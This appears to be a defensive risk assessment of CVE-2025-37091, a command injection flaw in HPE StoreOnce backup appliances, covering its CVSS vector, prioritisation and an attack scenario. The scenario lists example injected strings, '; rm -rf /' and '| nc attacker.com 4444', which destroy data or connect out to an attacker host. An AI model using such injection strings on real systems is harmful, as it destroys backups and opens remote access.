Storeonce System CVE-2025-37091

The CVSS vector (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H) indicates: (1) Network-accessible attack vector—remotely exploitable without physical access; (2) Low attack complexity—no special conditions required; (3) High privilege requirement—attacker must already have authenticated administrative or high-level credentials; (4) No user interaction needed; (5) Complete compromise of confidentiality, integrity, and availability. The privilege requirement (PR:H) is the primary mitigating factor—this is not an unauthenticated RCE. Real-world risk depends on: whether internal threat actors or compromised admin accounts are a concern in the organization, the prevalence of weak credential hygiene in backup administrator roles, and KEV/active exploitation status. If no POC is publicly available and exploitation requires already-compromised high-privilege accounts, this is lower priority than network-level RCE flaws. However, if used in multi-stage attacks post-breach, it significantly amplifies compromise impact. EPSS score (if available) would indicate probabilistic exploitation likelihood based on threat landscape data. The command injection primitive is reliably exploitable if reachable, so IF an attacker has high-privilege credentials, successful exploitation is near-certain.

A threat actor compromises a backup administrator's credentials (via phishing, credential stuffing, or insider threat) or an IT contractor with StoreOnce access is compromised. The attacker authenticates to the StoreOnce web interface or SSH management port using the stolen credentials. They craft a malicious input string containing shell metacharacters (e.g., ; rm -rf / or | nc attacker.com 4444) in a parameter that is passed unsanitized to a system command (common vectors: backup job configuration, appliance settings, or administrative API calls). The command injection is executed with the privilege level of the StoreOnce service (often root/SYSTEM), allowing full appliance compromise: theft of backup data, modification/deletion of backups, lateral movement to backed-up systems, or persistence via malware injection. The low attack complexity means once credentials are obtained, exploitation is straightforward and reliable. POC availability (if confirmed) would significantly increase exploitability in the wild.